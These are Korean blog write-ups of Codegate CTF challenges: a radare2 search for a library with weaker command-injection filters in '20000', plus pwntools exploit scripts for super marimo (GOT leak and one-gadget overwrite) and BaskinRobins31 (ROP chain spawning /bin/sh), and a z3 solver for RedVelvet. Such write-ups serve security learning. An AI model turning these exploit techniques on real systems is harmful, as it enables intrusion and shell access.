주어진 zip 파일을 받아서 압축을 해제하면 문제 바이너리와 tar 파일이 나온다.

tar를 또 해제하면 아래와 같이 엄청나게 많은 라이브러리 파일이 들어있다.

정말 많은 양의 라이브러리가 있다.


우선 바이너리를 실행했다.

실행을 하면 처음에 입력을 한번 받고 두번 째 입력을 받는다.

얼추 유추해보면 처음 받는 수는 라이브러리이름 넘버를 받는 것으로 보인다.


두 번째 입력은 뭔가를 받는데 반응이 없다.


이번엔 다른 값을 넣어보았다.

이번엔 라이브러리를 임의로 55를 넣었다.

그리고 이번엔 '\\\\\\'를 넣었더니 명령어 에러 메시지가 나왔다.

두 번째 입력은 ls 뒤에 들어가도록 된 듯 하다.

이제 ida로 확인해보자.

2000의 main함수다.

input으로 라이브러리의 숫자를 받는것을 볼 수 있고,

해당 라이브러리의 test라는 함수의 주소를 가져와 실행시킨다.


나는 55를 넣었으니 lib_55.so 파일도 ida로 열었다.

lib_55.so에서는 lib_9068.so의 filter1 함수를 가져오고, lib_8658.so의 filter2함수를 가져온다.

그리고 system함수의 인자로 ls ""를 준다. 내가 입력한 값은 저 ls의 옵션 부분으로 들어간다.

lib_9068.so의 filter1함수다. 입력값의 필터로 보인다.

libc_8658.so의 filter2다.

f,l,g, bin, sh, bash가 필터로 막혀있다.

두 함수 다 두 번째 입력에 대한 필터 들이다.

이 부분을 우회 해야하는데 우회법을 찾지 못했고, 다른분의 라업을 보면 r2pipe라는 파이썬 라이브러리를 이용했다.


r2pipe는 radare2라는 리버싱 툴을 파이썬으로 사용 가능 하도록 한 API이다.

이 많은 라이브러리들 중 필터가 다른 라이브러리를 찾아서 문제를 풀었다.


import r2pipe
import ast

test = []
filter1 = []
filter2 = []

for i in range(1, 20000+1):
	r2 = r2pipe.open('./lib_{}.so'.format(i))
	if 'dlopen' in r2.cmd('ii'):
		test.append(i)
	if 'filter1' in r2.cmd('is'):
		filter1.append(i)
	if 'filter2' in r2.cmd('is'):
		filter2.append(i)
	if i % 12 == 0:
		print i
	r2.quit()

r = open('test', 'w')
r.write(str(test))
r.close()

r = open('filter1', 'w')
r.write(str(filter1))
r.close()

r = open('filter2', 'w')
r.write(str(filter2))

r2.cmd('ii')는 import 리스트를 출력하는 명령이고,

r2.cmd('is')는 symbol 리스트를 출력하는 명령이다.

해당 명령 설명은 radare2를 실행시켜 명령을 보면 나온다.

위 코드로 filter1, filter2를 가지고 있는 라이브러리 파일들의 리스트를 각각 추출해서 파일로 저장했다.(너무 오래 걸리기 때문에..)


이제 그 리스트로 lib_55.so의 filter1과 다른 필터를 가진 라이브러리를 찾을 것이다.

test = open('./test', 'r').read()
filter1 = open('./filter1', 'r').read()
filter2 = open('./filter2', 'r').read()

test = ast.literal_eval(test)
filter1 = ast.literal_eval(filter1)
filter2 = ast.literal_eval(filter2)

diff = []
for i in filter1:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    r2.cmd('aaa')
    filters = ['0x3b', '0x2a', '0x7c', '0x26', '0x24', '0x60', '0x3e', '0x3c', '0x72']
    out = r2.cmd('pdf @ sym.filter1')

    for filter in filters:
        if filter not in out:
            ff.append(i)
            break
    r2.quit()

print diff

각 라이브러리 filter1의 어셈블 코드를 받아 55의 필터와 비교하고 없다면 찾아내는 코드다.

lib_4323.so만 다르다고 나왔다.

filter1을 보니 | 문자가 필터에 없었다.

이번엔 이 lib_4323을 불러오는 test()함수를 가진 라이브러리를 찾아보자.

file = []
for i in test:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    if "./20000_so/lib_4323.so" in r2.cmd('iz'):
        print "find"
        file.append(i)

    if (i % 12 == 0):
        print i
    r2.quit()
print file

r2.cmd('iz')는 해당 바이너리의 string을 찾아내는 명령이다.

lib_17394.so가 나왔다.


lib_17394.so를 ida로 보면 lib_4323.so를 dlopen하고 system("입력값" 2 > /dev/null)을 실행한다. 아까 lib_55.so와는 많이 다른 코드를 가지고 있다.

여기서는 또 lib_11804.so를 dlopen한다. 다시 ida로 lib_11804.so을 열어보자.

아까 본 filter2와는 다른 필터를 가지고 있다. 여기는 bin, sh 다 필터에 없다.

따라서 lib_17394.so를 실행시키면 system("sh")을 실행시킬 수 있다!



'CTF > Codegate' 카테고리의 다른 글

codegate 2018 super marimo  (0) 2019.01.19
CodeGate2018 BaskinRobins31  (0) 2018.07.14
Codegate 2018 RedVelvet writeup  (0) 2018.02.04
exploit code
from pwn import *
import time

def show_me_the_marimo(name, profile):
	r.sendline("show me the marimo")

	print r.recvuntil(">>")
	r.sendline(name)
	print r.recvuntil(">>")
	r.sendline(profile)
	print r.recvuntil(">>")

def view(select):
	r.sendline("V")
	print r.recvuntil(">>")
	r.sendline(select)

if __name__ == "__main__":
	binary = "./marimo"
	elf = ELF(binary)
	r = process(binary)

	#strcmp_got = elf.got['strcmp']
	puts_got = elf.got['puts']

	print r.recvuntil(">>")

	show_me_the_marimo("A"*4, "B"*4)
	show_me_the_marimo("C"*4, "D"*4)

	time.sleep(3)
	payload = "A"*52
	payload += p32(0x0)
	payload += p64(puts_got)
	#payload += p64(strcmp_got)
	payload += p64(puts_got)

	view("0")
	print r.recvuntil(">>")
	r.sendline("M")
	print r.recvuntil(">>")
	r.sendline(payload)
	#pause()
	print r.recvuntil(">>")
	r.sendline("B")
	print r.recvuntil(">>")

	view("1")
	print r.recvuntil("name : ")
	libc_puts = u64(r.recv(6).ljust(8, "\x00"))

	print r.recvuntil(">>")
	log.info("libc_puts = {}".format(hex(libc_puts)))
	libc_oneshot = libc_puts - 0x2a47a
	log.info("oneshot = {}".format(hex(libc_oneshot)))
	r.sendline("M")
	print r.recvuntil(">>")
	#pause()
	r.sendline(p64(libc_oneshot))
	#pause()

	r.interactive()


'CTF > Codegate' 카테고리의 다른 글

codegate2019 20000  (0) 2019.02.07
CodeGate2018 BaskinRobins31  (0) 2018.07.14
Codegate 2018 RedVelvet writeup  (0) 2018.02.04

대회 당시에는 64bit 운영체제에 대한 지식이 없어서 건들지 못했는데 최근 공부하면서 문제를 풀었다.

유명한 베스킨라빈스31 게임이다.

1에서 3까지의 수를 입력하면서 31부터 수를 떨어뜨리는 건데

이게 컴퓨터가 무조건 이기도록 구조가 되어있어서 일반적인 게임으론 풀 수 가 없다.

따라서 익스플로잇을 통해 쉘을 얻으라는 건데..

우선 gdb와 ida로 열어서 봤다.



이겼을 경우 jmp하는 루틴을 보면 Hint로 ROP라는 문구를 출력해주고 main()함수를 종료한다.

근데 뭐 일반적인 경우로 이 루틴을 거칠 수는 없고 힌트로 준 rop를 이용해 문제를 풀려고 해야한다.


어디서 오버플로우가 터질지 찾아보았는데.

사용자 입력을 받는 부분은 1-3까지의 수를 입력하는 부분이다.


그래서 그 부분을 살펴봤다.

보면 솔직히 1에서 3까지의 숫자를 입력받을 거면서 190h 바이트를 받는게 좀 이상하다.

여기가 취약하다고 티를 내는 것 같다.

그래서 일단 저기에 100바이트의 A를 입력하고 ret와의 거리를 계산해서 ret를 덮을 수 있는지 확인해 봤다.


내가 입력한 A 100바이트는 [$rbp-0xb0]에 들어가게 된다.

그리고 ret의 위치인 rbp+0x8과의 거리를 보면 0xb8이다.

즉 사용자가 최대로 입력할 수 있는 0x190보다 작은 0xb8의 diff를 가지고 있으므로 ret를 덮을 수 있다.

다시말해 오버플로우가 가능하다.


이제 이 공격벡터를 이용해서 rop를 실행하면 된다.


먼저 rop에 필요한 가젯을 찾아야 한다.

공략 단계

1. gdb로 write()와 read()의 plt, got를 찾는다.

2. system()함수의 offset을 구한다.

3. system()함수에 사용할 pop rdi ; ret 가젯을 찾는다.

4. write()함수에 got overwrite를 하기 위해 pop rdi ; pop rsi ; pop rdx ; ret 가젯을 찾는다.

5. /bin/sh 문자열을 입력할 bss영역의 주소를 찾는다.


read@plt = 0x400700

read@got = 0x602040


write@plt = 0x4006d0

write@got = 0x602028


system함수의 offset은 gdb에서 간단하게 read와의 차이로 구했다.


가젯은 rp++툴을 이용해서 구했다.

pop_rdi gadget = 0x400bc3


마찬가지로 rp++로 가젯을 구했다.

pppr gadget = 0x40087a


마지막으로 bss영역의 주소를 구했다.


이제 익스플로잇 코드를 작성한다.


처음에 write()함수를 이용해서 read함수의 바이너리 상 주소를 알아낸 후 system 주소를 릭해야 한다.

따라서 write(1, read@got, 8) 함수를 먼저 시작해준다.

그리고 rop를 진행하면 된다.


exploit code

from pwn import *

p = process("./BaskinRobins31")

read_plt = 0x400700
read_got = 0x602040
write_plt = 0x4006d0
write_got = 0x602028
pr = 0x400bc3
pppr = 0x40087a
bss = 0x602090
system_offset = 0xb1ec0 

payload = "A"*184 

payload += p64(pppr)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_plt)

payload += p64(pppr)
payload += p64(0)  
payload += p64(bss)
payload += p64(8)  
payload += p64(read_plt)

payload += p64(pppr)
payload += p64(0)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_plt)

payload += p64(pr) 
payload += p64(bss)
payload += p64(write_plt)

log.info('Exploit..')
p.sendline(payload)

read_addr = u64(p.recv()[-8:])
log.info("read_addr = {}".format(hex(read_addr)))

log.info("system_offset = {}".format(hex(system_offset)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
p.sendline("/bin/sh")
p.sendline(p64(system_addr))
p.interactive()


Ref.http://d4m0n.tistory.com/84

'CTF > Codegate' 카테고리의 다른 글

codegate2019 20000  (0) 2019.02.07
codegate 2018 super marimo  (0) 2019.01.19
Codegate 2018 RedVelvet writeup  (0) 2018.02.04

RedVelvet

gdb를 이용해 리버싱을 해보면 우선 사용자의 input을 받은 다음 func1 ~ func15 까지 15개의 함수에 사용자 input을 2~3개씩 쪼개서 각 함수의 인자로 넣어준다. 그리고 함수안에서 어떠한 계산 후 계산의 결과와 input 값이 일치하는지 확인 후 일치하면 HAPPINESS!라는 문자열이 출력된다.

한 함수라도 통과하지 못하면 프로그램이 종료한다.

함수를 전부 통과하게되면 각 함수마다 한번씩 총 15번 HAPPINESS!라는 문자열이 출력된 후 전부 통과하게 되면 플래그를 뱉어준다.


처음에는 손으로 직접 리버싱하여 함수를 분석한 후 약간(?) 노가다로 키를 구하는 방식으로 하다가 더 편한 방법을 찾았다.

python에 z3라는 라이브러리를 이용하면 수학식을 계산해서 값을 뽑아줄 수 있다.

 

func10까지는 노가다로 구했다가 func11부터 15까지는 라이브러리를 이용해 풀었다.

아래는 키를 구하는 코드다.

#sha256_hash = 0a435f46288bb5a764d13fca6c901d3750cee73fd7689ce79ef6dc0ff8f380e5
from z3 import *

s = Solver()

for i in range(1,27):
        globals()['a%i'%i]=BitVec('a%i'%i,32)

#func1
s.add(a1 * 2 * (a1 ^ a2)  - a2 == 0x2a6a)
s.add(a1 > 0x55)
s.add(a1 <= 0x5f)
s.add(a2 > 0x60)
s.add(a2 <= 0x6f)

#func2
s.add(a2 % a3 == 0x7)
s.add(a2 > 0x5a)

#func3
s.add(a3 / a4 +(a4 ^ a3) == 0x15)
s.add(a3 <= 0x63)
s.add(a4 <= 0x77)

#func4
s.add(a5 == 0x5f)

#func5
s.add((a6 + a5)^(a5 ^ a6 ^ a5 ) == 0xe1)
s.add(a5 > 0x5a)
s.add(a6 <= 0x59)

#func6
s.add(a6 <= a7)
s.add(a7 <= a8)
s.add(a6 > 0x55)
s.add(a7 > 0x6e)
s.add(a8 > 0x73)
s.add((a7+a8) ^ (a6 + a7) == 0x2c)
s.add((a7 + a8)%a6 + a7  == 0xa1)

#func7
s.add(a8 >= a9)
s.add(a9 >= a10)
s.add(a8 <= 0x77)
s.add(a9 > 0x5a)
s.add(a10 <= 0x59)
s.add((a8 + a10) ^ (a9 + a10) == 0x7a)
s.add((a8 + a10) % a9 + a10 == 0x65)

#func8
s.add(a10 <= a11)
s.add(a11 <= a12)
s.add(a12 <= 0x72)
s.add((a10 + a11) / a12 * a11 == 0x61)
s.add((a12 ^ (a10 - a11)) * a11 == 0xffffd898)

#func9
s.add(a12 == a13)
s.add(a13 >= a14)
s.add(a14 <= 0x63)
s.add(a14 + a12 * (a14 - a13) - a12 == 0xfffffa5d)

#func10
s.add(a14 >= a15)
s.add(a15 >= a16)
s.add(a15 * (a14 + a16 + 1) - a16 == 0x3c9a)
s.add(a15 > 0x5a)
s.add(a15 <= 0x63)

#func11
s.add(a17 >= a16)
s.add(a16 >= a18)
s.add(a17 > 0x64)
s.add(a17 <= 0x68)
s.add(a16 + (a17 ^ (a17- a18)) - a18 == 0x46)
s.add((a17 + a18) / a16 + a16 == 0x44)

#func12
s.add(a18 >= a19)
s.add(a19 >= a20)
s.add(a19 <= 0x3b)
s.add(a20 <= 0x2c)
s.add(a18 + (a19 ^ (a20 + a19)) - a20 == 0x6f)
s.add((a19 ^ (a19 - a20)) + a19 == 0x65)

#func13
s.add(a22 + (a21 ^ (a20 + a22)) - a20 == 0x10d)
s.add((a22 ^ (a21 - a20)) + a21 == 0xb9)
s.add(a20 <= a21)
s.add(a21 <= a22)
s.add(a20 > 0x28)
s.add(a21 > 0x5a)
s.add(a22 <= 0x6d)

#func14
s.add(a22 + (a23 ^ (a22 + a23)) - a24 == 0xb9)
s.add(a22 >= a24)
s.add(a23 >= a24)
s.add(a23 <= 0x63)
s.add(a24 > 0x5a)

#func15
s.add((a26 ^ ((a25 - a24) * a25)) - a24 == 0x4be)
s.add((a24 ^ ((a26 - a25) * a26)) + a25 == 0xfffffbf6)
s.add(a25 >= a26)
s.add(a25 >= a24)
s.add(a26 > 0x5f)
s.add(a25 <= 0x6d)

print s.check()
#print s.model()

if (s.check() == sat):
        values =s.model()
        flag=""
        for i in range(1,27):
                obj = globals()['a%i' % i]
                char = values[obj].as_long()
                flag += chr(char)
        print flag


FLAG : What_You_Wanna_Be?:)_lc_la



lc_la라고 나오는데 이 값을 your flag에 입력하면 flag를 뱉지 않는다.

gdb로 어셈을 보다보면 sha256으로 내가 입력한 flag를 암호화한 다음 gdb 내에 있는 0a435f46288bb5a764d13fca6c901d3750cee73fd7689ce79ef6dc0ff8f380e5 이 값과 비교를 해서 같으면 플래그를 뱉어준다.

아마 저 암호화된 값은 진짜 flag를 SHA256으로 암호화 한 것으로 보인다.

게싱으로 lc를 la로 바꿔서 What_You_Wanna_Be?:)_la_la로 입력하면 플래그를 뱉어준다.


Ref. http://revers3r.tistory.com/103?category=112084

Ref. https://github.com/AnisBoss/CTFs/blob/master/Codegate%20CTF%202018/RedVelvet%20-%20254pts%20(Rev)/solve.py


'CTF > Codegate' 카테고리의 다른 글

codegate2019 20000  (0) 2019.02.07
codegate 2018 super marimo  (0) 2019.01.19
CodeGate2018 BaskinRobins31  (0) 2018.07.14

+ Recent posts